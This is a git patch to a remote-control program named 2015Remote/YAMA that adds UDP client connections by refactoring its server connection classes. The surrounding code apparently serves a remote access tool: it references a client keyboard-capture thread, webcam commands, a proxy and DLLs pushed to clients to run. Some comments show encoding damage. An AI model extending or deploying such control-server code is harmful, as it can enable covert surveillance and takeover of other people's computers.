From 848f4089bbeae1a22f4669fbd1d463c2f7a98fd6 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Wed, 2 Jul 2025 03:53:21 +0800 Subject: [PATCH] feature: Support client connections over UDP --- client/KernelManager.cpp | 2 +- server/2015Remote/2015Remote.cpp | 2 +- server/2015Remote/2015RemoteDlg.cpp | 49 ++++++++++---------- server/2015Remote/IOCPServer.cpp | 39 +++++++++++----- server/2015Remote/IOCPServer.h | 4 ++ server/2015Remote/IOCPUDPServer.cpp | 22 +++++---- server/2015Remote/IOCPUDPServer.h | 2 +- server/2015Remote/Server.h | 71 +++++++++++++++++++++++++---- 8 files changed, 134 insertions(+), 57 deletions(-) diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 0334fdd..443d877 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -28,7 +28,7 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_di ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) { static ThreadInfo tKeyboard; tKeyboard.run = FOREVER_RUN; - tKeyboard.p = NewNetClient(conn, bExit, false); + tKeyboard.p = new IOCPClient(bExit, false); tKeyboard.conn = conn; tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL); return &tKeyboard; diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 922c29b..38ee3f0 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -138,7 +138,7 @@ BOOL CMy2015RemoteApp::InitInstance() // 更改用于存储设置的注册表项 // TODO: 应适当修改该字符串, // 例如修改为公司或组织名 - SetRegistryKey(_T("Remoter")); + SetRegistryKey(_T("YAMA")); CMy2015RemoteDlg dlg(nullptr); m_pMainWnd = &dlg; diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 646292a..368595e 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1036,8 +1036,9 @@ void CMy2015RemoteDlg::Release(){ int n = m_CList_Online.GetItemCount(); for(int Pos = 0; Pos < n; ++Pos) { - CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos); + context* ContextObject = (context*)m_CList_Online.GetItemData(Pos); ContextObject->Send2Client( &bToken, sizeof(BYTE)); + ContextObject->Destroy(); } LeaveCriticalSection(&m_cs); Sleep(500); @@ -1436,10 +1437,10 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) while(Pos) { int iItem = m_CList_Online.GetNextSelectedItem(Pos); - CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); - if (!ContextObject->bLogin && szBuffer[0] != COMMAND_BYE) + context* ContextObject = (context*)m_CList_Online.GetItemData(iItem); + if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE) continue; - if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->sClientInfo[ONLINELIST_VIDEO] == CString("鏃")) + if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->GetClientData(ONLINELIST_VIDEO) == CString("鏃")) { continue; } @@ -1632,8 +1633,10 @@ BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection) VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) { - if (!g_2015RemoteDlg) + if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed) { + ContextObject->Destroy(); return; + } AUTO_TICK(50); @@ -1771,6 +1774,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } case TOKEN_HEARTBEAT: case 137: UpdateActiveWindow(ContextObject); + ContextObject->Destroy(); break; case SOCKET_DLLLOADER: {// 璇锋眰DLL auto len = ContextObject->InDeCompressedBuffer.GetBufferLength(); @@ -1890,16 +1894,12 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) try { - sockaddr_in ClientAddr; - memset(&ClientAddr, 0, sizeof(ClientAddr)); - int iClientAddrLen = sizeof(sockaddr_in); - SOCKET nSocket = ContextObject->sClientSocket; - BOOL bOk = getpeername(nSocket, (SOCKADDR*)&ClientAddr, &iClientAddrLen); + strIP = ContextObject->GetPeerName().c_str(); // 涓嶅悎娉曠殑鏁版嵁鍖 if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR)) { char buf[100]; - sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr)); + sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", strIP.GetString()); Mprintf(buf); return -1; } @@ -1912,7 +1912,6 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) if (!ContextObject->bLogin) { Mprintf("*** Received master '%s' client! ***\n", LoginInfor->szMasterID); } - strIP = inet_ntoa(ClientAddr.sin_addr); //涓绘満鍚嶇О strPCName = LoginInfor->szPCName; @@ -1934,7 +1933,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) strVideo = m_settings.DetectSoftware ? "鏃" : LoginInfor->bWebCamIsExist ? "鏈" : "鏃"; - strAddr.Format("%d", nSocket); + strAddr.Format("%d", ContextObject->GetPort()); auto v = LoginInfor->ParseReserved(RES_MAX); AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject); delete LoginInfor; @@ -1993,10 +1992,10 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) { CLock L(m_cs); int n = m_CList_Online.GetItemCount(); - DWORD_PTR cur = (DWORD_PTR)ctx; + context* cur = (context*)ctx; for (int i = 0; i < n; ++i) { - DWORD_PTR id = m_CList_Online.GetItemData(i); - if (id == cur) { + context* id = (context*)m_CList_Online.GetItemData(i); + if (cur->IsEqual(id)) { m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd); if (hb.Ping > 0) m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str()); @@ -2018,8 +2017,8 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) { EnterCriticalSection(&m_cs); for (int i=0, n=m_CList_Online.GetItemCount(); ibLogin) + context* ContextObject = (context*)m_CList_Online.GetItemData(i); + if (!ContextObject->IsLogin()) continue; ContextObject->Send2Client(buf, sizeof(buf)); } @@ -2198,7 +2197,7 @@ void CMy2015RemoteDlg::OnMainProxy() while (Pos) { int iItem = m_CList_Online.GetNextSelectedItem(Pos); - CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); + context* ContextObject = (context*)m_CList_Online.GetItemData(iItem); BYTE cmd[] = { COMMAND_PROXY }; ContextObject->Send2Client( cmd, sizeof(cmd)); break; @@ -2223,12 +2222,12 @@ void CMy2015RemoteDlg::OnOnlineHostnote() POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); while (Pos) { int iItem = m_CList_Online.GetNextSelectedItem(Pos); - CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); - auto f = m_ClientMap.find(ContextObject->ID); + context* ContextObject = (context*)m_CList_Online.GetItemData(iItem); + auto f = m_ClientMap.find(ContextObject->GetClientID()); if (f == m_ClientMap.end()) - m_ClientMap[ContextObject->ID] = ClientValue("", dlg.m_str); + m_ClientMap[ContextObject->GetClientID()] = ClientValue("", dlg.m_str); else - m_ClientMap[ContextObject->ID].UpdateNote(dlg.m_str); + m_ClientMap[ContextObject->GetClientID()].UpdateNote(dlg.m_str); m_CList_Online.SetItemText(iItem, ONLINELIST_COMPUTER_NAME, dlg.m_str); modified = TRUE; } @@ -2549,7 +2548,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) { while (Pos && menuIndex < m_DllList.size()) { Buffer* buf = m_DllList[menuIndex]->Data; int iItem = m_CList_Online.GetNextSelectedItem(Pos); - CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); + context* ContextObject = (context*)m_CList_Online.GetItemData(iItem); ContextObject->Send2Client( buf->Buf(), 1 + sizeof(DllExecuteInfo)); } LeaveCriticalSection(&m_cs); @@ -2621,7 +2620,7 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) if (pNMItem->iItem >= 0) { // 鑾峰彇鏁版嵁 - CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(pNMItem->iItem); + context* ctx = (context*)m_CList_Online.GetItemData(pNMItem->iItem); CString res[RES_MAX]; CString startTime = ctx->GetClientData(ONLINELIST_LOGINTIME); ctx->GetAdditionalData(res); diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index b879462..ac0055c 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -446,13 +446,12 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTr return TRUE; } -BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans) -{ +// May be this function should be a member of `CONTEXT_OBJECT`. +BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc) { try { if (dwTrans == 0) //对方关闭了套接字 { - RemoveStaleContext(ContextObject); return FALSE; } //将接收到的数据拷贝到我们自己的内存中wsabuff 8192 @@ -543,14 +542,23 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans ContextObject->InCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.ClearBuffer(); } + return TRUE; +} + +BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans) +{ + if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc)) { + RemoveStaleContext(ContextObject); + return FALSE; + } + PostRecv(ContextObject); //投递新的接收数据的请求 return TRUE; } -VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) -{ - assert (ContextObject); +BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) { + assert(ContextObject); // 输出服务端所发送的命令 if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL && szBuffer[0] != CMD_HEARTBEAT_ACK) { char buf[100] = { 0 }; @@ -566,10 +574,10 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe { do { - if (ulOriginalLength <= 0) return; + if (ulOriginalLength <= 0) return FALSE; if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) { Mprintf("[ERROR] UNKNOWN compress method \n"); - return; + return FALSE; } else if (ContextObject->CompressMethod == COMPRESS_NONE) { Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf(); @@ -595,7 +603,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe { Mprintf("[ERROR] compress failed \n"); if (CompressedBuffer != buf) delete [] CompressedBuffer; - return; + return FALSE; } ulCompressedLength = usingZstd ? iRet : ulCompressedLength; @@ -604,6 +612,17 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe if (CompressedBuffer != buf) delete [] CompressedBuffer; }while (false); + return TRUE; + } + catch (...) { + Mprintf("[ERROR] OnClientPreSending catch an error \n"); + return FALSE; + } +} + +VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) +{ + if (WriteContextData(ContextObject, szBuffer, ulOriginalLength)){ OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol); if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //如果投递失败 @@ -613,8 +632,6 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe RemoveStaleContext(ContextObject); SAFE_DELETE(OverlappedPlus); } - }catch(...){ - Mprintf("[ERROR] OnClientPreSending catch an error \n"); } } diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 2e6261c..e8191c6 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -183,3 +183,7 @@ public: }; typedef CDialogBase DialogBase; + +BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc); + +BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength); diff --git a/server/2015Remote/IOCPUDPServer.cpp b/server/2015Remote/IOCPUDPServer.cpp index 6a90bed..3104215 100644 --- a/server/2015Remote/IOCPUDPServer.cpp +++ b/server/2015Remote/IOCPUDPServer.cpp @@ -2,6 +2,7 @@ #include "IOCPUDPServer.h" #include #include +#include "IOCPServer.h" IOCPUDPServer::IOCPUDPServer() { WSADATA wsaData; @@ -50,7 +51,7 @@ void IOCPUDPServer::PostRecv() { if (!m_running) return; AddCount(1); - CONTEXT_OBJECT* ctx = new CONTEXT_OBJECT(); + CONTEXT_UDP* ctx = new CONTEXT_UDP(); ctx->InitMember(m_socket, this); IO_CONTEXT* ioCtx = new IO_CONTEXT(); @@ -59,7 +60,6 @@ void IOCPUDPServer::PostRecv() { ctx->wsaInBuf.buf = ctx->szBuffer; ctx->wsaInBuf.len = sizeof(ctx->szBuffer); - ctx->addrLen = sizeof(sockaddr_in); DWORD flags = 0; int err = WSARecvFrom( @@ -104,14 +104,11 @@ void IOCPUDPServer::WorkerThread() { if (!pOverlapped) continue; IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol); - CONTEXT_OBJECT* ctx = ioCtx->pContext; - - if (m_notify) - m_notify(ctx); + CONTEXT_UDP* ctx = ioCtx->pContext; + ParseReceivedData(ctx, bytes, m_notify); // 释放 delete ioCtx; - delete ctx; AddCount(-1); PostRecv(); // 继续提交 @@ -119,15 +116,22 @@ void IOCPUDPServer::WorkerThread() { } VOID IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) { - WSABUF buf = { ulOriginalLength, (CHAR*)szBuffer }; + ContextObject->OutCompressedBuffer.ClearBuffer(); + if (!WriteContextData(ContextObject, szBuffer, ulOriginalLength)) + return; + WSABUF buf = { + ContextObject->OutCompressedBuffer.GetBufferLength(), + (CHAR*)ContextObject->OutCompressedBuffer.GetBuffer(), + }; DWORD sent = 0; + CONTEXT_UDP* ctx = (CONTEXT_UDP*)ContextObject; int err = WSASendTo( ContextObject->sClientSocket, &buf, 1, &sent, 0, - (sockaddr*)&ContextObject->clientAddr, + (sockaddr*)&ctx->clientAddr, sizeof(sockaddr_in), NULL, NULL diff --git a/server/2015Remote/IOCPUDPServer.h b/server/2015Remote/IOCPUDPServer.h index cb2291a..df834d6 100644 --- a/server/2015Remote/IOCPUDPServer.h +++ b/server/2015Remote/IOCPUDPServer.h @@ -41,6 +41,6 @@ private: struct IO_CONTEXT { OVERLAPPED ol; - CONTEXT_OBJECT* pContext; + CONTEXT_UDP* pContext; }; }; diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index 7a60541..ab159b9 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -8,6 +8,7 @@ #include "Buffer.h" #define XXH_INLINE_ALL #include "xxhash.h" +#include #define PACKET_LENGTH 0x2000 @@ -250,9 +251,32 @@ public: virtual void Disconnect(CONTEXT_OBJECT* ctx) {} }; -typedef class CONTEXT_OBJECT +class context { +public: + // 纯虚函数 + virtual VOID InitMember(SOCKET s, Server* svr)=0; + virtual void Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) = 0; + virtual CString GetClientData(int index)const = 0; + virtual void GetAdditionalData(CString(&s)[RES_MAX]) const =0; + virtual uint64_t GetClientID() const = 0; + virtual std::string GetPeerName() const = 0; + virtual int GetPort() const = 0; + +public: + virtual ~context() {} + virtual void Destroy() {} + virtual BOOL IsLogin() const { + return TRUE; + } + virtual bool IsEqual(context *ctx) const { + return this == ctx || (GetPeerName() == ctx->GetPeerName() && GetPort() == ctx->GetPort()); + } +}; + +typedef class CONTEXT_OBJECT : public context { public: + virtual ~CONTEXT_OBJECT(){} CString sClientInfo[ONLINELIST_MAX]; CString additonalInfo[RES_MAX]; SOCKET sClientSocket; @@ -273,8 +297,6 @@ public: BOOL bLogin; // 是否 login std::string PeerName; // 对端IP Server* server; // 所属服务端 - int addrLen; // for UDP - sockaddr_in clientAddr; // for UDP VOID InitMember(SOCKET s, Server *svr) { @@ -297,13 +319,11 @@ public: bLogin = FALSE; m_bProxyConnected = FALSE; server = svr; - clientAddr = {}; - addrLen = sizeof(sockaddr_in); } Server* GetServer() { return server; } - VOID Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) { + VOID Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) override { if (server) server->Send2Client(this, szBuffer, ulOriginalLength); } @@ -322,18 +342,27 @@ public: ULONG GetBufferLength() { return InDeCompressedBuffer.GetBufferLength(); } - std::string GetPeerName() const { + virtual std::string GetPeerName() const { return PeerName; } - CString GetClientData(int index) const { + virtual int GetPort() const { + return sClientSocket; + } + CString GetClientData(int index) const override { return sClientInfo[index]; } - void GetAdditionalData(CString(&s)[RES_MAX]) const { + void GetAdditionalData(CString(&s)[RES_MAX]) const override { for (int i = 0; i < RES_MAX; i++) { s[i] = additonalInfo[i]; } } + BOOL IsLogin() const override { + return bLogin; + } + uint64_t GetClientID() const override { + return ID; + } void CancelIO() { SAFE_CANCELIO(sClientSocket); } @@ -427,3 +456,27 @@ public: }CONTEXT_OBJECT, * PCONTEXT_OBJECT; typedef CList ContextObjectList; + +class CONTEXT_UDP : public CONTEXT_OBJECT { +public: + int addrLen; + sockaddr_in clientAddr; + + VOID InitMember(SOCKET s, Server* svr) override { + CONTEXT_OBJECT::InitMember(s, svr); + clientAddr = {}; + addrLen = sizeof(sockaddr_in); + } + void Destroy() override { + delete this; + } + virtual std::string GetPeerName() const override { + char client_ip[INET_ADDRSTRLEN]; + inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN); + return client_ip; + } + virtual int GetPort() const override { + int client_port = ntohs(clientAddr.sin_port); + return client_port; + } +};